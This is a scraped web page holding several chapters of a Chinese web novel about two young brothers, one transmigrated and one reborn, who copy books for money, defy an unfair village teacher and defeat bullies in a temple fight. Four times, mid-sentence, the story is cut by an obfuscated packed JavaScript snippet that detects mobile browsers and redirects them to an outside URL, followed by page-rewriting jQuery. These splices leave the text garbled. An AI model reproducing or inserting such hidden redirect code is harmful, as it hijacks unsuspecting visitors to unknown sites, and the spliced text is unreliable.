;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363403|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得贡献自己的一份力。 但毕竟年纪太小,抄了一页,大约五百字左右,手已经酸得不行了。 一旁的江夜比他大一岁,对他说:“你累了的话先休息。” 江寻点头,坐在一旁捏着手。 他一边捏手,顺便跟系统闲聊。 “你这个系统不给我点奖励什么的吗?” 系统:“有啊,会告诉你剧情发展,帮你规避危险,当然,最重要的能帮你活下去。每增加一点好感度,就是一年寿命!” “好大一个奖励。” “过奖。” 江寻:……他没有在夸它。 “话说回来,我真没想你们俩会发展这么快,他好像对你完全卸下了防备。” “他只是需要一个伙伴。”江寻这样说完,看向努力写字的江夜。便也站起来,继续抄书。 两人合力在天黑前,抄了十五页。 结算的时候,那店主一页一页地查对,心中充满了感叹,实在无法想象这些工整漂亮的字出自这两个孩子之手:几乎没有错误,且墨色均匀、页面干净,堪称典范。 怎么会这么好——他可以确定不可能会有人替他们抄的。 他付给他们三十文,额外又多付了五文当赏钱,又问“你们明日还来吗?” 江夜:“还来。” 江寻也跟着点头。 “那好。”书坊老板:“明日再来。” 两人正要离开,江寻抬头看到墙上挂着一个木牌子,上面提出了对林直体的《心经》屏风,招聘专门的抄手,起步价是二十文一页。 他问老板:“你们书坊还对林直体有需求?” 说这话的时候,江夜也看了过来。 冷老板道:“需求很大,林直真迹价值连城,一副尺牍可值数百两。怎么,你有认识相关的人么?” 江寻笑,“没有。”想不到两百年后的今日,自己的字迹还能成为珍品。 不过,他还是别树大招风了。 他和江夜离开翰墨斋,往家的方向而去。 回去自然遭到江秀才和张氏的询问,但他们就说去书坊看书了。他们宠爱江寻,也就没说什么。说是没说,但该完成的描红还是得完成。 但两人抄了一下午书,手都抄麻了,笔都提不起来。 口上是答应要完成,但一沾床,两人就都睡着了。 想起吴夫子必然会责怪,两人暂时也想不到更好的办法。 早起的时候,江寻想到了办法。 装病。 他对已经起来的江夜道:“你去跟我娘说,说你跟我都有些伤寒,不去学堂了?” 正准备去上学的江夜:“伤寒?” 江寻:“嗯,不然你有更好的主意?” 江夜当然没有,他是打算过去跟那个吴老头硬杠,本来一切就是他先作妖,这个描红他本就不需要写。 “两个人一起都得病,不太可能。你先休息,我去上学吧。” 江寻见他这样说,也没阻拦。他跟爹娘说病了,需要休息,两人自然是允许。也就五岁,休息就休息吧。 江寻乐得摆烂,在家睡到自然醒,才慢悠悠地把昨日的和今日的描红都完成了。完成了才跟娘亲说,自己又要去书坊看书。 到了书坊,就看江夜也到了,他看到他的脸上有些淤青,关心地问:“夫子没为难你吧?”应该不至于打他。 如果不是夫子打的,会是谁打的? 江夜摇头,“没有。——我们抄书吧。” 江寻也不好说。当然,如果安慰一下他,可能可以推进任务。但他感觉现在的江夜只想一个人静一静。 又忙了一下午,他们又得了三十五文。 凑够了能把底本带回家的银子。他们便把底本带回了家,在家抄书。 然后,他们还把得来的抄书费用,分了大约一文钱买其他同学的描红。对象就是沈德福。 这样的话,他们可以静下心来完成抄书。 这一抄,就是两年多。 两年抄下来,两人积攒了大约二十两。也在抄书的过程中,建立起了坚实的革命友谊。 4. 讨理 跟抄书一起推进的还有他们的学习课程。 也从《三字经》到《百家姓》,完成“三百千”后,开始接触《孝经》,并新增珠算的入门学习。练字则到了临摹楷体基本字,每日临帖五十个字。 到了明顺七年的时候,他们正式接触四书五经。 除了学习《四书外》,还有学习对课。 今日夫子开课,先出“红颜”一对,然后让他们写对子。 江寻托着下巴,工工整整地在纸上,写下了“红颜”两个字。 但对什么,他还没想好,或者说,如何能对得不上不下,不至于垫底又平平无奇,这是个问题。 他习惯性地转头,想去看江夜。自从一起抄书后,两人为了不断地改进自己的抄书技能,江夜索性就将座位调到了他的后方。两人习惯性地讨论了。 只不过他一转头,立即就有个显眼包朱红喊:“夫子,江寻偷看!” 江寻耸耸肩地转过去了。经过他不屑的“努力”,他在学堂里的成绩属于垫底的水平。 而其实垫底的话,是有诸多好处的:比如吴夫子从来不会多给他一点目光,其他人也不会以他为榜样。所谓能力越大,责任越大,没有人会指望他能做出什么惊天动地的事情。 只是说他会抄袭,大可不必。 只不过就算他不要,江夜也会主动给他答案。 过了一会儿,江夜交卷,经过江寻时,把卷子侧了一边给他。江寻接收到了。 他的答案是“青史”。 是个好对。 他其实心中有一对,比如红颜对白发,但这也太俗气了,想来张迅疾等人想到的也是这个。 他正想着,那边江夜回来了,经过他身边时,低头问,“还没想好?” 江寻摇头。 江夜瞥了一眼台上的夫子,低声道:“绿鬓。” 这个对子更好。但他的情况比较特殊,用不着。江寻灵机一动,有了!他迅速地写了一对字交上去。 等到夫子点评的时候,便问江寻:“为什么对绿水?” 江寻站起来,指着窗外,故作天真地答:“回夫子,雨停了,叶子红的花……倒影在水里。” 吴夫子没能得到想要的答案,挥手让江寻坐下来了,对众人道:“虽出偶然,却也妥帖。” 江寻就是要这个结果,心满意足地坐下了。 接下来夫子点评其他人,当然第一的还是江夜,其他人么,比如沈德福是红颜对白发。 朱红对的是,红颜对黄金,气得吴夫子喊了声,“孺子不可教也。” 堂上欢声笑语的。 上完对课,吴夫子让他们休息。休息,每人要练字。而这是江寻最喜欢的环节——凡是不务正业的他都喜欢。 课余,江寻转过头去找江夜,两人一起分享点心。这是他们的娘给他们做的。 今日的是红豆酥,刚打开,香气萦绕扑鼻,酥还是热的。江寻拿了一块,放嘴里吃了。 江夜不太饿,反倒问:“红颜对青史,你猜我为什么这么对?”相处两年,他能感觉他的弟弟江寻并不是那种真的草包。 江寻咽下一口,慢条斯理:“红颜是色相,青史是名相?” 江夜笑:“我没想那么多,只是觉得工整。红和青都是正色,平平对仄仄。——你为什么对绿水?”不跟夫子说,可以跟他说吧? 江寻也许吃得欢,也没想防备什么——实际上,跟其他人还装装,但因为和江夜朝夕相处,一直伪装也是挺难的事。 “红颜易逝,绿水长流嘛。” 江夜套出了想要的答案,“这寓意比我的好多了。”他看江寻嘴角有脏的,给他递出了帕子。 江寻接过了。 吃了红豆酥,才开始练字。 对于江寻来说,唯一无法隐藏的,大概就是他的字。这已经刻在他骨子里的,所以他也决定不为难自己。 他的字非常之好。 但让人可笑的是,吴夫子以为这是他的训练结果,还说要举行一场小比试。当然对于江寻来说,比试什么的不重要,重要的是,前三可以不需要再练字了。 下了学,他和江夜正要回家去。 路上江夜对他说:“接下来我们不抄书了。这两年也抄够了。” “那不抄书,准备做什么?” 江夜道:“我说过要带你赚钱,你只管信我就是,还是你不信我?” 江寻笑,“怎么会不信你?我相信你。——但是抄书已经作熟了,倒也不必马上断。我还是蛮喜欢抄东西的。” 江夜:“好,听你的。” 回了家,又是练字读书,吃了晚饭后洗漱睡觉,日子过得简单又寻常。 次日一早,到了学堂,先是背诵。 江寻自然是会背的,趁着夫子在教其他人的时候,他也假装背书。当然看似是背书,其实是打瞌睡。每日卯时就上学,鸡都没叫多久呢。他都困死了。何况,他有个独门绝活,那就是睁着眼养神,夫子还看不出来。 刚想继续偷懒,那边朱红又叫开了,“夫子,他在睡觉,没有好好背书。” 几个孩子都转过来偷看他。 江寻叹气,“我背好了啊。” 朱红道:“又吹牛了。” 一旁沈德福说:“这倒是真的,每次看阿寻睡觉,但他每次都能完成。”这已经成为学堂的十大谜团之一了。 江寻感激地看了眼替他说话的沈德福。 此时江夜也跟着说:“我一直带着阿寻背,阿寻确实已经会背了。” 见大家都怼他,朱红自讨没趣,才转回去了。 江寻耸耸肩,继续修养心性。 背书之后,才是练字比试环节。 吴夫子要求他们写一首小诗,形式不拘,时间是一炷香。 江寻写得很快,写完还欣赏了一遍。因为距离交卷还早得很,他便看起了从翰墨斋借的书。书坊老板因为他长期为他抄书,借他时还便宜了。 看完抬头一看,就看窗外的雨点打进来,将他写好的大字都晕开了,也不知是谁故意把窗户打开了。 他只能重写,但再看时间,已经快来不及了。 他正要重写,就看身后的江夜喊了他一声。 江寻回头,低声,“怎么?” 江夜将自己的字递给他,“用我的,我写得快。” 江寻:“算了吧。” 江夜坚持。 江寻没再坚持,不得已拿过了江夜的字。这次江夜写得是楷体,这是吴夫子要求的,每个人只能写这个。江寻担忧着江夜,本以为他会来不及,但在一炷香结束时,江夜也顺利地交卷了。 成绩很快就出来,前三名居然没有两兄弟。 那边张迅疾得意洋洋,“你们的字还差得远呢,别以为自己真的行。” 江夜想上前教训,被江寻拉住了。 “算了,跟他也没什么关系。” 中午他们并不回家,要在学堂里吃。下午还有学习四书。 两人分享了娘亲张氏给他们带的食物,吃完,江夜道:“我去跟吴夫子讨理去。” 江寻慢吞吞地问:“怎么讨啊?” 江夜:“你担心我的话与我一起便是。” 江寻:“…………”这江夜性情乖戾,他每日都要提心吊胆的,哎——“行吧。” 江夜点点头,两人一起去了后堂,找到准备午休的吴夫子。 江夜拿着自己的和江寻的书法卷子,问:“请夫子告诉我和阿寻,为何我俩会榜上无名?无论是谁看了我俩的字,都没话说吧。” 吴夫子躺在摇摇椅上,悠哉悠哉,“所以你们便不把我这个老头子看在眼里,怀疑我的论断,以为自己能替书斋抄字赚点小银两就目中无人?我告诉你俩,可别做那井底之蛙了!” 这话说的,江寻不想出头都要出头了。他平生还真的没见过这么奇葩的人,“夫子非要睁着眼说瞎话的话,那我们也无话可说。” 吴夫子本来还优哉游哉,想着就算他这样,这两个毛娃娃能奈他的何?江夜一向盛气凌人,他已经习惯了。毕竟是神童。但没想到这成绩差劲的江寻也敢如此,蹭的一下就从椅子上坐起来了,手指着江寻道:“你说什么。” 江寻不卑不亢,“睁眼说瞎话啊。” 吴夫子怒极:“江寻,你那父亲不过是个秀才,你敢这么跟我说话。” 江寻淡笑,“我父亲是个秀才也比你睁眼说瞎话要强,而且两者好像没关系吧。” “你你你——你去把你的父亲叫来。” 一旁的江夜道:“叫来就叫来,叫来看看到底你有没有说瞎话,把好的说成是差的,把差的说成是好的。” 吴夫子本来是气盛得不行,突然也不知该怎么说了。他本就心虚,就是不想让这江氏兄弟如意。老脸沉着,道:“你们爱怎样怎样,反正成绩已经出了。”他也不让他们喊双亲,但也不给他们好过,老老实实给他练字去吧。 江寻道:“夫子非要这样欺负人,那恕我们也不能从命了。接下来的字帖,我们是不会再交了。”他说完,转头对江夜道,“我们走吧。” 江夜嘴角微扬,江寻要做的正是他要做的。之前配合,是看他是他们的夫子,现在他不把自己当人,也别怪他们不把他当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363404|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了。 加上现在江寻能跟他站在统一战线,让他觉得,就算自己受点委屈,也是值得的。 两人转身离开。 身后的吴夫子气得浑身发抖,指着他们的背影骂道:“你们大逆不道,忤逆老师,吴氏学堂不欢迎你们!” 江夜听了这话,转头道:“好啊,正好请其他人评评理。看看到底是你的学堂的名声重要,还是我们两个没书读重要。” 他说完,笑着带着江寻离开。 两人离开后,江寻还是有一丝后悔,他又出头了,他只是安安静静地读书啊。这清河镇也就一个好一点的吴氏学堂,如果不能在这里读,又该去哪?难不成家里蹲? 他倒是不介意在家里读书的,就是怕爹娘担心。 他正担忧着,江夜劝慰道:“别担心。这老头绝对不敢。” “万一他敢呢。这次不行,下次总有机会。出去说他的不是,估计也没人信。”举人在这个清河镇的份量还是太大了。 江夜:“那就家里读好了,总不能一直受辱。” 江寻:“那倒也是。” 江夜道:“何况,他不公是事实。你放心,他不敢真的让我们退学的。” 江寻看江夜信誓旦旦,似是掌握了吴夫子的什么秘密。 下午的经学课,相安无事。他们不理这吴夫子,吴夫子也不理他们,有种没有我,看你们怎么考科举的意思。 但江寻江夜并不在意,正好,夫子不管他们,他们也乐得自在。 散了学,两兄弟正准备回家,沈德福悄悄地跟他们说,“你们这次回家小心一点。”说完就跑了。 两人心中有了底。 刚进松树林,就看张迅疾带着人拦在他们跟前。虽然只是就半大的孩子,但气势是一点也不减。 张迅疾质问:“你们自己技不如人,跑去跟夫子说什么呢,实力不行就是不行,以为说几句就能改变现实吗?” 江夜冷笑,“实力不行?就是拿给随便任何一个人看,都自有分辨。何况,就凭你,你拿什么跟我比?拿你爹给夫子送的礼吗?” 张迅疾脸颊立即通红,“江夜,你个来路不明的臭小子,我忍你很久了!” 江夜道:“正好,我也忍你很久了。看来是上次被我打得还不够痛快,还想再被打一次。” 张迅疾想起上一次,那一次他带了两个人,本想欺负一下江夜的,没想到还是被他打了。这一次他是做好准备来的。 “你别得意,敢不敢跟我对打一次。” 江夜:“我有什么不敢的,你们敢来,我就敢去。只是胜负先说好,我赢了的话如何?” 张迅疾冷笑,“你怎么可能会赢,上次是你运气好。” “赢了以后看到我就要喊大哥,听明白了吗?哦,还有江寻。”他说着,挽了挽江寻的肩。 一旁的江寻冷汗都下来了,怎么还带他啊。 张迅疾瞥了一眼江寻,一直以来,江寻就很平静,如果说江夜过分优秀突出遭人嫉恨,但江寻就是黯淡得太多太多了。 如果他真的输了,喊江夜倒是没什么,还要喊江寻吗? 绝不可能!“成!” 江夜指着张迅疾身后的五个虾兵蟹将,“就你们六个吧,可别喊大人来。那我可要笑死了。” 张迅疾:“………就我们六个人。” 江夜要的就是这句话,这些小孩子,就陪他们玩玩,“地点就在山神庙,那里人少,时间是后日散学后酉时,吃了晚饭后。合理吧?” 对面的毕竟是只有九岁、十岁的孩子,几乎是江夜说什么,他们也听什么,全听他的号令。于是,这时间地点也定下了。 双方分别后,江夜回头问江寻,“你去吗?” 江寻:“你打算一对六?”看不出来,江夜这么猛啊。 江夜漫不经心,“就是来十个也不怕。” 江寻倒是也会一点点功夫,但他不喜欢出风头——尤其是这种无谓的争斗。但……他看着江夜眼神期待。他当然知道,这是个做任务的好机会。但他不太想直接插入江夜和张迅疾之间的矛盾之中。如系统所说,他们本就是死对头,势必有一战。 但,好歹也一起抄书两年多啊,抛开任务不说,也算朋友了吧。 哎,自己怎么就摊上了一个这么争强好胜的任务对象了呢。 “我去的话,我可能帮不上什么忙。” 江夜笑了,“没事,你能来就好。” 江夜的话音刚落,江寻听到系统在脑海里说,“恭喜你宿主,现在江夜对你的好感度上升到三点啦。” 江寻听后,“…………” 5. 商量 一起抄书两年只升了一点,陪他一起打架就升了一点。 自己以后是不是得多陪他打架啊。 还有,这什么大反派,想增加他的好感度也太难了吧! 江夜得到他的答案后,又问:“你怕不怕被打。” 江寻:“怕。” 江夜:“那你还来?” 江寻没正面答,而是问:“他们欺负过你?对吧。” 江夜道:“还记得我们抄书的第二天,你生病在家,我去上学?” “嗯。你被他们打了?” “他们哪里打得过我。”江夜淡淡道,“从那个时候开始吧。” 虽然江夜没直说,但江寻也知道这件事,系统也有跟他说过,说江夜一直有麻烦。只不过,他以为那个麻烦是自己。 “这个张迅疾是很讨厌,是该好好教训一下。你打算怎么对付他?” 江夜问:“你有什么主意?”跟江寻相处了一段时间,他能察觉江寻的主意还是挺多的。上辈子自己一直被这些人欺负,这辈子肯定要好好地扳回一局的。 江寻:“他们比我们都大一些,只能智取不能力敌。” 江夜颔首,“力敌也行,但你说智取就智取吧。” “要不然我们去问问沈福德要不要加入?” “沈福德?” 江寻:“多一个人就多一份力量。人多力量大。” 江夜同意了:“他应该不会参与。” 江寻笑,“给点银子就好,我去说吧。” 江夜颔首,“好。” 学堂里一半以上都是张迅疾的人,他们唯一能拉拢的也就只有沈福德了。 沈福德体胖,比同龄的孩子都要壮实得多。 次日上学,两人找了沈福德,表达愿意出点银子,请他帮忙,目的也是给点教训。 沈德福听说要打架,摇摇头道:“不成,俺娘不会同意我打架的。你们还是找别人吧。” 江夜见状,便拿出半贯铜钱放在沈德福跟前,“现在还要来吗?” 沈德福见了银子,就不知道飘哪里去了,咬咬牙:“成吧成吧。你们一直照顾我的生意。江哥又那么聪明,跟你们准没错。” 一旁的江寻笑,“这个江哥有没有我?” 沈德福:“自然有你啊,阿寻。” 有了人,仍是不够。 要知,张迅疾可是有六个人左右。 下了学,两兄弟和沈福德一起,去了趟山神庙,巡视了一下地形。 昏时的山神庙寂静无闻,只有一尊老神仙立在正殿当中。 江夜简单地安排了一下,他让沈德福躲在门后,让江寻躲在桌案底下。让他们没有他的命令,不要出来。 沈德福好奇地问:“夜哥,那你做什么?” 江夜道:“我吗?自然是收拾他们了。如果我发生意外,你们再出来。” 江寻看江夜信誓旦旦的,似有很有把握,所以没有他,他也可以的。又何必拉他入伙?真的差一个鼓励他的人吗? 他们从山神庙出来,在清河桥分手,各回各家,各找各妈。 打架是后日的事情,明日是沐休,也是拜拜的日子。 一大清早,张氏便收拾了香烛,她要去镇口的慈恩寺拜菩萨。寺庙外面就是集市,今日又是元日,便问江寻要不要去。 江寻自然要去,说实话,他还没逛过这个清河镇呢。穿越以来,一直都在读书读书读书,这并不是他的初衷啊。 他随口问了一下江夜,没想到他也说要去。 慈恩寺就在镇口南边。而他们每日读书走的都是后街,属于镇子的北面。 而清河镇最繁华的地方,其实是在前街这里,也叫南街。每月逢五,都有桥市,四乡农人都携货来到桥边交易,形成一个临时市集。 因为他们的年纪也不小了,张氏就让他们两人在寺庙门口等着,自己带着烛火进了寺庙。 他和江夜就在边上闲逛,查看着集市。 对于江寻来说,现在和自己那时的朝代并没有太多的改变,但因为前世的自己太忙碌了,并没有享受过这样浓烈的人间烟火。 集市非常热闹,有卖糖人的,卖泥娃娃的,卖针头线脑的和卖膏药的,一家挨着一家,把路挤得只剩窄窄一条。 他回头对江夜道:“对了,你上次打算怎么用那二十两?” 江夜道:“还没想好。”其实是尝试过了。他也是后面才知道年纪太小,是无法购买盐引的。且清河镇太小,也根本没有买盐引的地方。 其次就是他的身份不行。 大朔朝规定,如果想做盐商,得入商籍——即在官府登记为“商户”。据他所知,江秀才和张氏都不可能是商籍,其他办法也不是没有,但比较麻烦。 总之,没那么容易。 目前能想到的是到交引铺,让人出面替他购买。但……他年纪太小,就算找人,也很容易被人利用。所以他还在犹豫。 想着要不要等到考中秀才。有了秀才这个身份,被人欺负的概率就大大减少了。总之,此事不急于一时,反倒是可以想想用其他办法来赚银子。 他想到这,回头问江寻,“你有什么好主意吗?” 江寻道:“我看拿点银子一起卖点东西挺好的,你说呢。” 江夜:“卖点东西,卖什么呢?” 江寻笑:“比如卖香饮子啊。” 江夜:“这卖的人太多了。” 江寻道:“可是好像没人卖冰雪冷丸子。” 江夜一愣,“那是什么?” “一种很好喝的夏日点心。”江寻微笑,他所在的朝代大晟集市文化浓郁,如今往前发展了两百年后,很多秘方都已经失传了啊。 他前世最爱喝这个,还记得秘方做法。 江寻这样一说,倒是提醒了江夜,让他想起前世,还记得明顺八年异常酷热,也就是明年了,倒是可以低价囤冰,好好地赚它一笔。 “我们有机会好好安排一下。” 江寻笑着点头。 …… 从慈恩寺回来,江夜独自去了一趟吴氏学堂,给他亲爱的吴夫子放了一封信。他从窗外偷看吴夫子看完信后,吓得四处得看,估计是看到底是谁在找他麻烦。 江夜扬扬嘴角,所谓多行不义必自毙。吴夫子自身难保,想来也不会再对付他和江寻了。 他回到家,看到江寻正在灶房帮他娘亲做饭,心情柔软。 过了一会儿,江寻从里面出来,手里端着菜,“咦,你回来了?” 江夜颔首,目光落在他手里的盘子上,“蘑菇好香,你做的?” 江寻笑,“做着玩。娘说我很有天份呢。” 一会儿张氏也从灶房出来,笑道:“让你读书不好好读,整日不是做饭就是睡觉。过了年,你也要九岁了,县试也就三年内的事情,也没看你多上心。你要有江夜的一半,我也就阿弥陀佛了。” 江寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江夜:“若是你垫底了怎么办?明年开始有季考,每三月一考,排名张榜。季考前,夫子肯定会安排小考,若是小考你垫底了,你可得听我的,好好努力才是。” 江寻信誓旦旦,“放心吧,绝对给你一个满意的答案。” 江夜摇摇头,他爬上床榻,瞥到江寻手里的书籍,看的书倒是很高深,虽然都是跟科考没有一点关系。这本的题目是《碾玉观音》。 他问:“讲什么的?” 江寻放下书,“那可有意思了,这说的是,府匠人崔宁与绣女秀秀的爱情故事。” “…………” 江寻:“说的是绣女秀秀,被郡王强取豪夺,好不容易逃出来后,跟夫君崔宁私奔,后又被抓了回去。” 江夜:“…………然后呢。” 江寻道:“然后女的被活活打死,年仅十九,男的被判流放了。崔凝被流放的时候,就在这个时候,秀秀追来了——” 江寻说到这里的时候,把声音压得很低。 他们所住的老房子本就阴冷,光线一般,此时又是半夜。江夜被这一声音弄得吓了一跳,抓了一下江寻的手臂,又马上松开了。 江寻笑了笑,拍拍江夜的手,“还没说完呢。” 江夜本就是个重生的,对鬼神之说信得很,但又不能被江寻看出自己怕鬼,尤其是自己还比他大那么多,便道:“深更半夜的,别说这个了,小心你夜里睡不着,知道吗?” 江寻已了然,笑笑,“好的。” 两人并肩躺下后,江寻问:“要不要躺里面?” 江夜:“………早点睡。” 江寻伸出自己的手臂,“你可以抓着。”他引的祸,自然他来解决。 6. 打败 江夜本还想逞强一下,现在也不想逞强了,轻轻抓住江寻的手臂,然后听到他的弟弟轻声道:“寝吧。” 江夜在心中轻轻嗯了声。 次日他们照常去学堂,早上先学习《大学》,吴夫子要求理解背诵。同时还要修习祭祀礼,和见面礼。 到了下午散学,江家兄弟,还有一个沈德福,先各自回家,吃了晚饭,吃完就去了山神庙。 临近年末,天色渐晚。 到了山神庙中,林中隐约还能听到鸱鸮的叫声,熹微照着庙里的山神像,显得有些可怖。 三人汇合时,张迅疾等人还没来。 他们按照江夜说的,提前安置好,江寻躲在桌案底下,沈德福则在躲在门外。只剩下江夜一个人在门口站着。 过了一会儿,就看张迅疾带着朱红几个人凶神恶煞地走进来了。 张迅疾看到江夜只有一个人,冷笑道:“上次你是侥幸,你真以为你一个人打六个也能行吗?” 江夜扬起一个灿烂却透着邪气的笑容,“可以试试。” 张迅疾见如此,不免心生退意。不是,这货这么强吗? 他们对着话,这些也被江寻听得一清二楚,这桌下的布帘恰好有个小洞,能让他看到外面的场景。既然江夜让他躲好,他也会听话,乖乖躲好的。 虽然在系统看来,他又错过了一个绝佳的任务机会。 但江寻想,江夜敢这样说,想必也有十足的把握。 果然很快,一切如他所料。 第一个小孩冲上来,江夜侧身一让,顺手抓住他的手腕往前一带,那人脚下不稳,扑通一声栽在地上。第二个还没反应过来,江夜的肘已经抵在他胸口,轻轻一推,他就往后踉跄几步,撞翻了后面的两个。 就这样一个接着一个的,“战事”开启后,江夜仿佛像是学过一般,左勾拳右勾拳的,刷刷刷两下,就把这六个小孩全部打得趴下了。 他看到张迅疾哎哟哎哟地躺在地上,满脸震惊,“你怎么那么厉害啊?” 江夜道:“如果你们不惹我,你们也不会知道。” 但这几人又怎么会甘心,很快又爬起来了。 但结果仍然是一样的。他们又被打趴下了,哎哟哎哟叫得更为惨烈。这些惨叫声听得江寻都不忍心了。 毕竟,都是一群孩子嘛。 也许是被弄烦了。 江寻看到那个朱红在江夜教训张迅疾的时候,抄起角落里的一个类似木板的东西——那板子上竟还钉着几枚生锈的铁钉,对着江夜就过去了。 江寻见状,忙从桌案底下钻了出来,快步上前,拽过江夜的胳膊往边上去了。而朱红的木板就这样跟他们擦身而去。 至于朱红,因为速度太快,直接撞到了柱子上,顿时头破血流了。 此时沈德福也从门外走出来,“这可是你们自己撞的,我就是见证人!” 朱红也不过是个十来岁的孩子,吓得哇哇大哭,拉着张迅疾道:“我头撞坏了,我会不会变傻,我还打算考举人呢。呜呜呜。天啊,我要被撞傻了,我要找我娘……呜呜呜。娘……娘……我要找我娘。” 张迅疾被他哭得心烦意乱,大声道:“别哭了!烦死了都!” 但朱红这个人本就脑袋一根筋,还是哭着,“我要去看大夫……呜呜呜,我要去看大夫……娘娘娘。” 江夜冷笑道:“你快带他去看大夫吧,否则小心变傻子咯。” 朱红一听,哭得更厉害了,张着嘴哇哇地叫,还用手背擦着眼泪。 江寻则忍不住道:“哎,先止止血吧。” 朱红感激地看了江寻一眼,忙用自己的袖子捂住了额头。 因为朱红受伤,这场小孩的斗争就这样宣告结束。张迅疾带着伤将残兵,离开了山神庙。隔着远远的,都能听到他们的鬼哭狼嚎声音。 他们远离后,沈德福赞叹道:“夜哥,你可太能打了,你学过?” 沈德福问的时候,江寻也看向江夜,他竟不知道。刚才他问系统,系统也说不清楚。 ——这个江夜好像比书中的更厉害。 江夜耸肩,“看人打过一点。——对了刚才谢谢你们了。”他是没想到阿寻会冲出来替他,他不由地地多看了江寻一眼。但看江寻也没有把这事放在心上。 沈德福道:“小意思。就是不知这张迅疾还会不会再来。” 江夜满不在乎:“再来就再来,难道还怕他?” 江寻道:“想是不敢了。”毕竟刚才可是被打得嗷嗷直哭啊。 他和江夜,跟沈德福分别,回了自己家。 江夜道:“接下来,我们能过一段太平日子了。我们好好过这个年吧。” 江寻也笑:“所以做这么多就是想好好过这个年?” 江夜笑着点点头。 山神庙的事情后,张迅疾等人看到他们果然绕道走了。——真的不幸碰到,那就恭恭敬敬地喊他们两个,“大哥”,“二哥。”,如果沈德福也在,便是“三哥”。 这可让他们好好地风光了一阵子。 这种情况一直持续到年前,年假开始。 学堂的年节都差不多,时间是腊月廿三至正月十五,还是挺长的。课业则是每日大字三张,以及复习背诵《大学》。不过,因为两人跟吴夫子闹掰了,大字是不会交的。 《大学》又会背了,等于没有作业。 因为太惬意了,江寻甚至都有些不好意思,有种浪费光阴的感觉。 但话虽如此,他还是悠闲地开始享受起了假期。 这个假日他们倒是还有一件事要做,那就是尝试着卖点东西,赚点银子。 上次说的卖香饮子,现在是冬日,肯定不合适卖。但他们可以做冬日的小食。先试练试练,真的不行,再说便是。 说干就干,他们先去了木匠老周那,询问了价格——打一辆专门的流动摊车,只要四百文,比镇上现成的便宜不少。至于,摊车边的桌椅板凳、锅碗瓢盆,以及炭化炉等,杂七八八算起来大概需要一两银子。 当然开销远不止这些,还包括原料费等。 他们还去吃了街边几家小摊的东西,吃完又去了杂物铺,把日用品的价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江秀才道:“上次我还听吴夫子说,说你的课文背得不好,也不怎么听话。这个年,该在家好好背书才是。明年你也九岁了,还要深入学习五经,怎么能避重就轻,去弄什么摊车?”江夜他不好说,难道还说不得自己的儿子吗? 张氏也附和,“阿寻啊,你爹说得对。你在家好好背书,娘看你从来也不拿书。这样可比不上人家啊。” 江寻哑然,他竟不知道装差也是有坏处的。 但他一向慢条斯理地,解释道:“请父亲考我便是,若是有一句背不出来,或解释得不好,孩儿就老实在家安心读书。” 江秀才点头,“好,我去拿书,你等着。”说完就上楼拿经注。 一旁的江夜也为江寻捏了把汗,凑到他身边,打算等江秀才问的时候,偷偷给他提个醒。 但他看江寻半点不在意,反倒问娘亲,“娘,家里的桂圆还有吧?” 这弄得张氏急得半死,“寻儿啊,你认真一点。你要是考校不过,你爹可是会发火的。” 此时,江秀才拿着朱子注释的《大学》也下来了,翻开书问: “我且问你,第二页第七行,你背出来吧。” 7. 准备 江夜瞥了江寻一样,刚想给他提醒,却见江寻并没有看他,而是低头思索了一番,恭敬答道:“所谓诚其意者,毋自欺也。” 一旁的张氏忙去问江秀才,“对吗?” 江秀才咳了一声,“解释呢。” 江寻道:“一个人心里如何想,嘴上便如何说,手上便如何做,这叫‘诚意’。若心里知道这事不对,嘴上却说对,便是自欺。” 张氏又忙探头去问,“对不对啊。” 江秀才又道:“先算你过关。第三页,第四行。” 江寻背着手,又是故作思索一番,答:“是那句修身在正其心者吗?” 江秀才:“意思呢。” 江寻故意额了一声,“我尝试地解一下哦,意思是说把心摆正。” 江秀才:“这么简单吗?” 江夜见江寻被为难,忙替他解释,“意思是对的。” 江秀才:“………” 江寻:“孩儿算过关吗?” 江秀才咳嗽了一声,严肃道:“过关是过关了。但还是不能放松,明白吗?” 还是算过关吧。江寻笑,“爹爹放心,该重视的地方还是得重视起来的。” 江秀才没再说什么。 不过虽然江秀才这关过了,但江夜却还是不放心。 睡前,他跟江寻商量,“要不然给爹娘一点银子吧。这样他们就会知道,我们真的赚了些银子。” 江寻是无所谓的,抄书这两年,江夜抄得比他狠多了。一天十页的量,他有时候一个人就完成了。所以这二十两,江夜占大部分。 江夜不是爹娘的亲生孩子,他自然也不会让他把银子拿出来。 但说实话,他的爹娘收入并不算高。江秀才没有田地,只靠收束脩、官府贴补和替人写文过活,总计年酬四十多两。 总体并不稳定,全看那年的生源。 年酬不多,他却要承担一家所有人的支出,张氏又没有收入来源,一年耗费下来,杂七杂八,所剩已经不多了。 所以卖小食真的能赚钱的话,是很能贴补一些家用的。 